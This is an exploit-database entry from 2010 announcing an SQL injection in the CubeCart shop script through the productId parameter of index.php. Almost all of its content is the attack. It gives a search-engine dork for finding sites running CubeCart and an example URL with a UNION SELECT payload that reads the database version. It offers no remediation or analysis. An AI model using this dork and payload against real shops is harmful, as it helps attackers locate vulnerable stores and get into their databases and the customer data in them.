CubeCart (index.php) SQL Injection Vulnerability



EDB-ID: 11495 CVE: N/A OSVDB-ID: N/A
Author: AtT4CKxT3rR0r1ST Published: 2010-02-18 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

Rating

(0.0)
Prev Home Next
CubeCart (index.php) Sql Injection Vulnerability
==============================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Team           : Sec Attack Team
.:. Home           : www.sec-attack.com/vb
.:. Script         : http://www.cubecart.com/downloads/
.:. Dork           : "powered by CubeCart" inurl:"index.php?_a="

####################################################################

===[ Exploit ]===

www.site.com/index.php?_a=viewProd&productId=22[Sql  Sql Injection]

===[ Example ]===

http://server/store/index.php?_a=viewProd&productId=22+and+1=2+union+select+version()

####################################################################






Comments

No comments so far